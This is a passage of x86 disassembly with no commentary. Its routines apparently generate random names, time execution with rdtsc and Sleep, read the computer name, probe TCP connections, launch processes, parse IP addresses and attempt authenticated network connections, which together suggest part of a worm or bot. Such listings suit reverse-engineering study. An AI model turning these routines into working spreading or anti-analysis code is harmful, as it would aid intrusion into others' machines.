20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C5B90 proc near ; CODE XREF: sub_13ABEDCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push ebp mov ebp, [esp+8+arg_4] mov ecx, ebp push esi mov edx, ecx push edi xor eax, eax mov edi, ebx shr ecx, 2 rep stosd mov ecx, edx xor esi, esi and ecx, 3 test ebp, ebp rep stosb jle short loc_13C5BEB loc_13C5BB6: ; CODE XREF: sub_13C5B90+59j push 3 push 1 call sub_13AC5A3 add esp, 8 dec eax jz short loc_13C5BD7 dec eax jz short loc_13C5BD1 dec eax jnz short loc_13C5BE6 push 7Ah push 61h jmp short loc_13C5BDB ; --------------------------------------------------------------------------- loc_13C5BD1: ; CODE XREF: sub_13C5B90+36j push 5Ah push 41h jmp short loc_13C5BDB ; --------------------------------------------------------------------------- loc_13C5BD7: ; CODE XREF: sub_13C5B90+33j push 39h push 30h loc_13C5BDB: ; CODE XREF: sub_13C5B90+3Fj ; sub_13C5B90+45j call sub_13AC5A3 add esp, 8 mov [esi+ebx], al loc_13C5BE6: ; CODE XREF: sub_13C5B90+39j inc esi cmp esi, ebp jl short loc_13C5BB6 loc_13C5BEB: ; CODE XREF: sub_13C5B90+24j pop edi pop esi pop ebp pop ebx retn sub_13C5B90 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C5C10 proc near ; CODE XREF: sub_13AB81Aj rdtsc retn sub_13C5C10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C5C30 proc near ; CODE XREF: sub_13ABBF3j var_4 = dword ptr -4 sub esp, 8 push ebx mov ebx, Sleep push ebp push esi push edi xor ebp, ebp loc_13C5C3F: ; CODE XREF: sub_13C5C30+43j ; sub_13C5C30+4Dj call sub_13AB81A push 3E8h mov esi, eax mov edi, edx call ebx ; Sleep call sub_13AB81A sub eax, esi push ebp sbb edx, edi push 186A0h push edx push eax call near ptr 13E0D90h push ebp push 0Ah push edx push eax call near ptr 13E0D90h cmp edx, ebp mov esi, eax ja short loc_13C5C3F jb short loc_13C5C7F cmp esi, 0F4240h ja short loc_13C5C3F loc_13C5C7F: ; CODE XREF: sub_13C5C30+45j push ebp push 64h push edx push esi call near ptr 13E0D10h mov ecx, eax cmp edx, ebp mov eax, 64h mov [esp+18h+var_4], ebp ja short loc_13C5D09 jb short loc_13C5C9F cmp ecx, 50h jnb short loc_13C5CA8 loc_13C5C9F: ; CODE XREF: sub_13C5C30+68j mov eax, 4Bh mov [esp+18h+var_4], ebp loc_13C5CA8: ; CODE XREF: sub_13C5C30+6Dj cmp edx, ebp ja short loc_13C5D09 jb short loc_13C5CB3 cmp ecx, 47h jnb short loc_13C5CBC loc_13C5CB3: ; CODE XREF: sub_13C5C30+7Cj mov eax, 42h mov [esp+18h+var_4], ebp loc_13C5CBC: ; CODE XREF: sub_13C5C30+81j cmp edx, ebp ja short loc_13C5D09 jb short loc_13C5CC7 cmp ecx, 37h jnb short loc_13C5CD0 loc_13C5CC7: ; CODE XREF: sub_13C5C30+90j mov eax, 32h mov [esp+18h+var_4], ebp loc_13C5CD0: ; CODE XREF: sub_13C5C30+95j cmp edx, ebp ja short loc_13C5D09 jb short loc_13C5CDB cmp ecx, 26h jnb short loc_13C5CE4 loc_13C5CDB: ; CODE XREF: sub_13C5C30+A4j mov eax, 21h mov [esp+18h+var_4], ebp loc_13C5CE4: ; CODE XREF: sub_13C5C30+A9j cmp edx, ebp ja short loc_13C5D09 jb short loc_13C5CEF cmp ecx, 1Eh jnb short loc_13C5CF8 loc_13C5CEF: ; CODE XREF: sub_13C5C30+B8j mov eax, 19h mov [esp+18h+var_4], ebp loc_13C5CF8: ; CODE XREF: sub_13C5C30+BDj cmp edx, ebp ja short loc_13C5D09 jb short loc_13C5D03 cmp ecx, 0Ah jnb short loc_13C5D09 loc_13C5D03: ; CODE XREF: sub_13C5C30+CCj xor eax, eax mov [esp+18h+var_4], ebp loc_13C5D09: ; CODE XREF: sub_13C5C30+66j ; sub_13C5C30+7Aj ... sub eax, ecx pop edi add eax, esi pop esi pop ebp pop ebx add esp, 8 retn sub_13C5C30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C5D60 proc near ; CODE XREF: sub_13AC422j var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_24 = byte ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h push 0FFFFFFFFh push 43AD8Fh mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h mov al, ds:byte_447779 push ebx push esi push edi test al, al mov [esp+4Ch+var_40], 0 jz loc_13C5EBF push ebp lea ecx, [esp+50h+var_3C] call sub_13AB824 push 400h lea ecx, [esp+54h+var_3C] mov [esp+54h+var_4], 1 xor bl, bl call sub_13AC05D mov ebp, eax call sub_13AC2EC lea ecx, [esp+54h+var_40] call sub_13AB7D9 mov [esp+54h+arg_0], eax lea eax, [esp+54h+arg_0] push eax push ebp call GetComputerNameA ; GetComputerNameA test eax, eax jnz short loc_13C5DF6 mov edi, offset byte_446F80 or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb loc_13C5DF6: ; CODE XREF: sub_13C5D60+74j movsx ecx, byte ptr [ebp+0] mov eax, 41h loc_13C5DFF: ; CODE XREF: sub_13C5D60+A9j cmp ecx, eax jnz short loc_13C5E05 mov bl, 1 loc_13C5E05: ; CODE XREF: sub_13C5D60+A1j inc eax cmp eax, 5Bh jl short loc_13C5DFF mov eax, 61h loc_13C5E10: ; CODE XREF: sub_13C5D60+BAj cmp ecx, eax jnz short loc_13C5E16 mov bl, 1 loc_13C5E16: ; CODE XREF: sub_13C5D60+B2j inc eax cmp eax, 7Bh jl short loc_13C5E10 test bl, bl jnz short loc_13C5E42 mov edi, offset byte_446F80 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_13C5E42: ; CODE XREF: sub_13C5D60+BEj mov esi, rand call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+40h+var_2C] push edx call sub_13AB540 call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+44h+var_30] push edx call sub_13AB540 call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+48h+var_34] push edx call sub_13AB540 mov esi, [esp+4Ch+arg_4] lea edx, [esp+4Ch+var_38] push edx mov ecx, esi call sub_13AB8C9 mov [esp+50h+var_40], 1 lea ecx, [esp+50h+var_3C] mov byte ptr [esp+50h+var_4], 0 call sub_13AB626 pop ebp mov eax, esi pop edi pop esi pop ebx mov ecx, [esp+40h+var_C] mov large fs:0, ecx add esp, 40h retn ; --------------------------------------------------------------------------- loc_13C5EBF: ; CODE XREF: sub_13C5D60+2Aj lea ecx, [esp+4Ch+var_24] call sub_13AB824 mov ebx, 2 mov [esp+4Ch+var_4], ebx call GetTickCount ; GetTickCount push eax call srand ; srand mov edi, rand add esp, 4 call edi ; rand cdq mov ecx, 3 idiv ecx lea ecx, [esp+44h+var_1C] mov esi, edx mov edx, [esp+44h+arg_C] push edx add esi, 6 call sub_13AB9D7 test esi, esi jle short loc_13C5F5E loc_13C5F08: ; CODE XREF: sub_13C5D60+1FCj lea ecx, [esp+48h+var_38] call sub_13AB824 lea eax, [esp+48h+var_20] lea ecx, [esp+48h+var_38] push eax mov byte ptr [esp+4Ch], 3 call sub_13AC3BE call edi ; rand cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+48h+var_38] add edx, 61h push edx call sub_13ABBE4 push eax lea edx, [esp+50h+var_20] push offset dword_443E94 push edx call sub_13AB42D add esp, 10h lea ecx, [esp+48h+var_38] mov [esp+48h], bl call sub_13AB626 dec esi jnz short loc_13C5F08 loc_13C5F5E: ; CODE XREF: sub_13C5D60+1A6j mov esi, [esp+48h+arg_4] lea eax, [esp+48h+var_20] push eax mov ecx, esi call sub_13AB8C9 lea ecx, [esp+4Ch+var_24] mov [esp+4Ch+var_40], 1 mov byte ptr [esp+4Ch+var_4], 0 call sub_13AB626 mov ecx, [esp+4Ch+var_C] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 40h retn sub_13C5D60 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C6030 proc near ; CODE XREF: sub_13AB969j arg_0 = byte ptr 4 mov al, [esp+arg_0] cmp al, 20h jz short loc_13C603F cmp al, 9 jz short loc_13C603F xor al, al retn ; --------------------------------------------------------------------------- loc_13C603F: ; CODE XREF: sub_13C6030+6j ; sub_13C6030+Aj mov al, 1 retn sub_13C6030 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C6060 proc near ; CODE XREF: sub_13AC2D8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push offset dword_443E9C push eax call fopen ; fopen add esp, 8 test eax, eax jz short loc_13C6084 push eax call fclose ; fclose add esp, 4 mov al, 1 retn ; --------------------------------------------------------------------------- loc_13C6084: ; CODE XREF: sub_13C6060+15j xor al, al retn sub_13C6060 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C60A0 proc near ; CODE XREF: sub_13AB879j var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_20 = byte ptr -20h arg_0 = dword ptr 4 sub esp, 30h push ebx push ebp push esi push edi mov edi, [esp+40h+arg_0] test edi, edi jz loc_13C62FE mov esi, offset byte_446F80 mov eax, edi loc_13C60BA: ; CODE XREF: sub_13C60A0+3Cj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_13C60E2 test cl, cl jz short loc_13C60DE mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_13C60E2 add eax, 2 add esi, 2 test cl, cl jnz short loc_13C60BA loc_13C60DE: ; CODE XREF: sub_13C60A0+26j xor eax, eax jmp short loc_13C60E7 ; --------------------------------------------------------------------------- loc_13C60E2: ; CODE XREF: sub_13C60A0+22j ; sub_13C60A0+32j sbb eax, eax sbb eax, 0FFFFFFFFh loc_13C60E7: ; CODE XREF: sub_13C60A0+40j test eax, eax jz loc_13C62FE push 20h lea eax, [esp+44h+var_20] push edi push eax call strncpy ; strncpy mov edi, strtok lea ecx, [esp+4Ch+var_20] push offset dword_443DE4 push ecx call edi ; strtok add esp, 14h mov [esp+40h+var_30], eax test eax, eax jz loc_13C62FE mov ebx, 1 lea esi, [esp+40h+var_2C] loc_13C6127: ; CODE XREF: sub_13C60A0+A4j push offset dword_443DE4 push 0 call edi ; strtok add esp, 8 mov [esi], eax test eax, eax jz loc_13C62FE inc ebx add esi, 4 cmp ebx, 4 jl short loc_13C6127 mov ebp, [esp+40h+var_30] mov esi, offset dword_443EB8 mov eax, ebp loc_13C6151: ; CODE XREF: sub_13C60A0+D3j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_13C6179 test dl, dl jz short loc_13C6175 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_13C6179 add eax, 2 add esi, 2 test dl, dl jnz short loc_13C6151 loc_13C6175: ; CODE XREF: sub_13C60A0+BDj xor eax, eax jmp short loc_13C617E ; --------------------------------------------------------------------------- loc_13C6179: ; CODE XREF: sub_13C60A0+B9j ; sub_13C60A0+C9j sbb eax, eax sbb eax, 0FFFFFFFFh loc_13C617E: ; CODE XREF: sub_13C60A0+D7j test eax, eax jnz short loc_13C618C pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_13C618C: ; CODE XREF: sub_13C60A0+E0j mov esi, offset dword_443EB4 mov eax, ebp loc_13C6193: ; CODE XREF: sub_13C60A0+115j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_13C61BB test dl, dl jz short loc_13C61B7 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_13C61BB add eax, 2 add esi, 2 test dl, dl jnz short loc_13C6193 loc_13C61B7: ; CODE XREF: sub_13C60A0+FFj xor eax, eax jmp short loc_13C61C0 ; --------------------------------------------------------------------------- loc_13C61BB: ; CODE XREF: sub_13C60A0+FBj ; sub_13C60A0+10Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_13C61C0: ; CODE XREF: sub_13C60A0+119j mov edi, [esp+40h+var_2C] test eax, eax jnz short loc_13C620A mov esi, offset dword_443EB0 mov edx, edi loc_13C61CF: ; CODE XREF: sub_13C60A0+151j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_13C61F7 test bl, bl jz short loc_13C61F3 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_13C61F7 add edx, 2 add esi, 2 test bl, bl jnz short loc_13C61CF loc_13C61F3: ; CODE XREF: sub_13C60A0+13Bj xor edx, edx jmp short loc_13C61FC ; --------------------------------------------------------------------------- loc_13C61F7: ; CODE XREF: sub_13C60A0+137j ; sub_13C60A0+147j sbb edx, edx sbb edx, 0FFFFFFFFh loc_13C61FC: ; CODE XREF: sub_13C60A0+155j test edx, edx jnz short loc_13C620A pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_13C620A: ; CODE XREF: sub_13C60A0+126j ; sub_13C60A0+15Ej mov esi, offset dword_443EAC mov edx, ebp loc_13C6211: ; CODE XREF: sub_13C60A0+193j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_13C6239 test bl, bl jz short loc_13C6235 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_13C6239 add edx, 2 add esi, 2 test bl, bl jnz short loc_13C6211 loc_13C6235: ; CODE XREF: sub_13C60A0+17Dj xor edx, edx jmp short loc_13C623E ; --------------------------------------------------------------------------- loc_13C6239: ; CODE XREF: sub_13C60A0+179j ; sub_13C60A0+189j sbb edx, edx sbb edx, 0FFFFFFFFh loc_13C623E: ; CODE XREF: sub_13C60A0+197j test edx, edx jnz short loc_13C6284 mov esi, offset dword_443EA8 mov edx, edi loc_13C6249: ; CODE XREF: sub_13C60A0+1CBj mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_13C6271 test bl, bl jz short loc_13C626D mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_13C6271 add edx, 2 add esi, 2 test bl, bl jnz short loc_13C6249 loc_13C626D: ; CODE XREF: sub_13C60A0+1B5j xor edx, edx jmp short loc_13C6276 ; --------------------------------------------------------------------------- loc_13C6271: ; CODE XREF: sub_13C60A0+1B1j ; sub_13C60A0+1C1j sbb edx, edx sbb edx, 0FFFFFFFFh loc_13C6276: ; CODE XREF: sub_13C60A0+1CFj test edx, edx jnz short loc_13C6284 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_13C6284: ; CODE XREF: sub_13C60A0+1A0j ; sub_13C60A0+1D8j mov esi, offset dword_443EA4 mov ecx, ebp loc_13C628B: ; CODE XREF: sub_13C60A0+20Dj mov al, [ecx] mov bl, [esi] mov dl, al cmp al, bl jnz short loc_13C62B3 test dl, dl jz short loc_13C62AF mov al, [ecx+1] mov bl, [esi+1] mov dl, al cmp al, bl jnz short loc_13C62B3 add ecx, 2 add esi, 2 test dl, dl jnz short loc_13C628B loc_13C62AF: ; CODE XREF: sub_13C60A0+1F7j xor ecx, ecx jmp short loc_13C62B8 ; --------------------------------------------------------------------------- loc_13C62B3: ; CODE XREF: sub_13C60A0+1F3j ; sub_13C60A0+203j sbb ecx, ecx sbb ecx, 0FFFFFFFFh loc_13C62B8: ; CODE XREF: sub_13C60A0+211j test ecx, ecx jnz short loc_13C62FE mov esi, offset dword_443EA0 mov eax, edi loc_13C62C3: ; CODE XREF: sub_13C60A0+245j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_13C62EB test cl, cl jz short loc_13C62E7 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_13C62EB add eax, 2 add esi, 2 test cl, cl jnz short loc_13C62C3 loc_13C62E7: ; CODE XREF: sub_13C60A0+22Fj xor eax, eax jmp short loc_13C62F0 ; --------------------------------------------------------------------------- loc_13C62EB: ; CODE XREF: sub_13C60A0+22Bj ; sub_13C60A0+23Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_13C62F0: ; CODE XREF: sub_13C60A0+249j test eax, eax jnz short loc_13C62FE pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_13C62FE: ; CODE XREF: sub_13C60A0+Dj ; sub_13C60A0+49j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 30h retn sub_13C60A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C63B0 proc near ; CODE XREF: sub_13AC404j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx push esi push 6 push 1 push 2 xor bl, bl call socket ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_13C6418 cmp esi, 0FFFFFFFFh jz short loc_13C6418 mov eax, [esp+18h+arg_0] push eax call inet_addr ; inet_addr mov ecx, [esp+18h+arg_4] mov [esp+18h+var_C], eax push ecx call htons ; htons lea edx, [esp+18h+var_10] push 10h push edx push esi mov [esp+24h+var_E], ax mov [esp+24h+var_10], 2 call connect ; connect test eax, eax jnz short loc_13C6409 mov bl, 1 loc_13C6409: ; CODE XREF: sub_13C63B0+55j push esi call closesocket ; closesocket mov al, bl pop esi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_13C6418: ; CODE XREF: sub_13C63B0+18j ; sub_13C63B0+1Dj pop esi xor al, al pop ebx add esp, 10h retn sub_13C63B0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C6440 proc near ; CODE XREF: sub_13AB699j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push 0 push eax push ecx push offset dword_4436F4 push 0 call ShellExecuteA ; ShellExecuteA cmp eax, 20h setnl al retn sub_13C6440 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C6480 proc near ; CODE XREF: sub_13AC549j var_54 = byte ptr -54h var_44 = dword ptr -44h var_14 = word ptr -14h arg_0 = dword ptr 4 sub esp, 54h push edi mov ecx, 11h xor eax, eax lea edi, [esp+58h+var_44] rep stosd mov [esp+58h+var_14], ax lea eax, [esp+58h+var_54] mov edx, [esp+58h+arg_0] lea ecx, [esp+58h+var_44] push eax push ecx push 0 push 0 push 28h push 0 push 0 push 0 push edx push 0 mov [esp+80h+var_44], 44h call CreateProcessA ; CreateProcessA test eax, eax setnle al pop edi add esp, 54h retn sub_13C6480 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C64F0 proc near ; CODE XREF: sub_13ABC75j var_36C = byte ptr -36Ch var_360 = byte ptr -360h var_354 = dword ptr -354h var_350 = dword ptr -350h var_34C = dword ptr -34Ch var_348 = byte ptr -348h var_347 = byte ptr -347h var_248 = byte ptr -248h var_230 = dword ptr -230h var_22C = word ptr -22Ch var_22A = byte ptr -22Ah var_10 = dword ptr -10h arg_0 = dword ptr 4 sub esp, 354h mov eax, ds:dword_443EC4 mov ecx, ds:dword_443EC8 mov [esp+354h+var_354], eax mov al, ds:byte_446F80 push esi push edi mov [esp+35Ch+var_350], ecx mov [esp+35Ch+var_348], al mov ecx, 45h xor eax, eax lea edi, [esp+35Ch+var_347] mov edx, ds:dword_443ECC rep stosd mov ecx, ds:dword_443EBC mov [esp+35Ch+var_34C], edx mov dx, ds:word_443EC0 mov [esp+35Ch+var_230], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+35Ch+var_22A] mov [esp+35Ch+var_22C], dx rep stosd mov ecx, [esp+35Ch+arg_0] push 0FFh stosw lea eax, [esp+360h+var_348] xor edi, edi push eax push 0FFFFFFFFh push ecx push edi push edi call MultiByteToWideChar ; MultiByteToWideChar mov esi, wcscat lea edx, [esp+374h+var_360] lea eax, [esp+374h+var_248] push edx push eax call esi ; wcscat lea ecx, [esp+37Ch+var_36C] lea edx, [esp+37Ch+var_248] push ecx push edx call esi ; wcscat mov esi, [esp+384h+var_10] add esp, 10h lea eax, [esp+374h+var_248] push edi push offset dword_1029D34 push offset dword_1029D34 push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+14h], eax mov [esi+1Ch], edi call near ptr 13E13C8h cmp eax, 5 jz short loc_13C65D8 cmp eax, 4C3h jnz short loc_13C65E1 loc_13C65D8: ; CODE XREF: sub_13C64F0+DFj push edi push edi push edi push esi call near ptr 13E13C8h loc_13C65E1: ; CODE XREF: sub_13C64F0+E6j pop edi cmp eax, 5 pop esi jz short loc_13C65F8 cmp eax, 4C3h jz short loc_13C65F8 mov al, 1 add esp, 354h retn ; --------------------------------------------------------------------------- loc_13C65F8: ; CODE XREF: sub_13C64F0+F6j ; sub_13C64F0+FDj xor al, al add esp, 354h retn sub_13C64F0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C6660 proc near ; CODE XREF: sub_13AC2C9j var_354 = dword ptr -354h var_350 = dword ptr -350h var_34C = dword ptr -34Ch var_348 = byte ptr -348h var_347 = byte ptr -347h var_230 = dword ptr -230h var_22C = word ptr -22Ch var_22A = byte ptr -22Ah arg_0 = dword ptr 4 sub esp, 354h mov eax, ds:dword_443EC4 mov ecx, ds:dword_443EC8 mov [esp+354h+var_354], eax mov al, ds:byte_446F80 push esi push edi mov [esp+35Ch+var_350], ecx mov [esp+35Ch+var_348], al mov ecx, 45h xor eax, eax lea edi, [esp+35Ch+var_347] mov edx, ds:dword_443ECC rep stosd mov ecx, ds:dword_443EBC mov [esp+35Ch+var_34C], edx mov dx, ds:word_443EC0 mov [esp+35Ch+var_230], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+35Ch+var_22A] mov [esp+35Ch+var_22C], dx rep stosd mov ecx, [esp+35Ch+arg_0] push 0FFh stosw lea eax, [esp+360h+var_348] push eax push 0FFFFFFFFh push ecx push 0 push 0 call MultiByteToWideChar ; MultiByteToWideChar mov esi, wcscat lea edx, [esp+35Ch+var_348] lea eax, [esp+35Ch+var_230] push edx push eax call esi ; wcscat lea ecx, [esp+364h+var_354] lea edx, [esp+364h+var_230] push ecx push edx call esi ; wcscat add esp, 10h lea eax, [esp+35Ch+var_230] push 0 push 0 push eax call near ptr 13E13CEh test eax, eax jz short loc_13C6748 mov esi, Sleep loc_13C672C: ; CODE XREF: sub_13C6660+E6j push 7D0h call esi ; Sleep push 0 lea ecx, [esp+360h+var_230] push 0 push ecx call near ptr 13E13CEh test eax, eax jnz short loc_13C672C loc_13C6748: ; CODE XREF: sub_13C6660+C4j pop edi mov al, 1 pop esi add esp, 354h retn sub_13C6660 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C67A0 proc near ; CODE XREF: sub_13AC17Fj var_78 = byte ptr -78h var_6C = byte ptr -6Ch var_60 = byte ptr -60h var_54 = dword ptr -54h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_34 = dword ptr -34h var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push 43ADE0h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 0Ch push 4 push 4Fh push 10h push 14h lea eax, [esp+5Ch+var_3C] push 6 mov esi, ecx push eax call sub_13ABDB5 add esp, 20h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_13ABBE4 lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_447168 call sub_13AB991 or edi, 0FFFFFFFFh lea ecx, [esp+50h+var_48] mov [esp+50h+var_10], edi call sub_13AB626 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h lea edx, [esp+6Ch+var_48] push 6 push edx call sub_13ABDB5 add esp, 24h push esi mov ecx, eax mov [esp+54h+var_10], 1 call sub_13ABBE4 push eax lea eax, [esi+118h] push eax mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+5Ch+var_54] mov [esp+5Ch+var_1C], edi call sub_13AB626 push 0 push 10h push 15h push 4Fh push 10h push 14h lea ecx, [esp+74h+var_54] push 6 push ecx call sub_13ABDB5 add esp, 20h push esi mov ecx, eax mov [esp+60h+var_1C], 2 call sub_13ABBE4 lea edx, [esi+0EAh] push eax push edx mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+68h+var_60] mov [esp+68h+var_28], edi call sub_13AB626 push 0 push 0Ch push 4 push 4Fh push 10h push 14h push 14h lea eax, [esp+84h+var_60] push 8 push eax call sub_13ABDB5 add esp, 24h push esi mov ecx, eax mov [esp+6Ch+var_28], 3 call sub_13ABBE4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+74h+var_6C] mov [esp+74h+var_34], edi call sub_13AB626 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h push 14h lea edx, [esp+94h+var_6C] push 8 push edx call sub_13ABDB5 add esp, 28h push esi mov ecx, eax mov [esp+78h+var_34], 4 call sub_13ABBE4 push eax lea eax, [esi+60h] push eax mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+80h+var_78] mov [esp+80h+var_40], edi call sub_13AB626 push 0 push 5 push 14h push 1 push 4 push 10h push 15h push 4Fh push 10h push 14h push 14h lea ecx, [esp+0ACh+var_60] push 8 push ecx call sub_13ABDB5 add esp, 34h push esi mov ecx, eax mov [esp+84h+var_40], 5 call sub_13ABBE4 add esi, 32h push eax push esi mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+8Ch+var_6C] mov [esp+8Ch+var_4C], edi call sub_13AB626 mov ecx, [esp+8Ch+var_54] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn sub_13C67A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C6A20 proc near ; CODE XREF: sub_13AB464j var_2E0 = byte ptr -2E0h var_2CD = byte ptr -2CDh var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_2B0 = byte ptr -2B0h var_2A0 = byte ptr -2A0h var_29C = byte ptr -29Ch var_299 = byte ptr -299h var_298 = byte ptr -298h var_28C = byte ptr -28Ch var_288 = byte ptr -288h var_280 = byte ptr -280h var_27C = byte ptr -27Ch var_274 = byte ptr -274h var_270 = dword ptr -270h var_26C = byte ptr -26Ch var_268 = byte ptr -268h var_260 = byte ptr -260h var_254 = byte ptr -254h var_250 = byte ptr -250h var_24D = byte ptr -24Dh var_240 = byte ptr -240h var_238 = byte ptr -238h var_234 = byte ptr -234h var_230 = byte ptr -230h var_22C = byte ptr -22Ch var_224 = dword ptr -224h var_220 = byte ptr -220h var_218 = byte ptr -218h var_208 = byte ptr -208h var_204 = byte ptr -204h var_201 = byte ptr -201h var_1F7 = byte ptr -1F7h var_1F4 = byte ptr -1F4h var_1E8 = byte ptr -1E8h var_1E4 = byte ptr -1E4h var_1E1 = byte ptr -1E1h var_1E0 = dword ptr -1E0h var_1DC = byte ptr -1DCh var_1DA = byte ptr -1DAh var_1D8 = dword ptr -1D8h var_1D4 = byte ptr -1D4h var_1CC = byte ptr -1CCh var_1C9 = byte ptr -1C9h var_1C4 = byte ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = byte ptr -1BCh var_1B8 = byte ptr -1B8h var_1B4 = byte ptr -1B4h var_1B0 = byte ptr -1B0h var_1AD = byte ptr -1ADh var_1AC = byte ptr -1ACh var_1AB = byte ptr -1ABh var_1A8 = byte ptr -1A8h var_1A0 = byte ptr -1A0h var_19C = byte ptr -19Ch var_194 = byte ptr -194h var_190 = byte ptr -190h var_18E = byte ptr -18Eh var_18C = dword ptr -18Ch var_188 = byte ptr -188h var_184 = byte ptr -184h var_180 = byte ptr -180h var_17D = byte ptr -17Dh var_17C = byte ptr -17Ch var_170 = byte ptr -170h var_16C = byte ptr -16Ch var_169 = byte ptr -169h var_168 = byte ptr -168h var_164 = byte ptr -164h var_160 = byte ptr -160h var_15F = byte ptr -15Fh var_15C = byte ptr -15Ch var_14C = byte ptr -14Ch var_148 = dword ptr -148h var_144 = byte ptr -144h var_142 = byte ptr -142h var_140 = byte ptr -140h var_13C = byte ptr -13Ch var_131 = byte ptr -131h 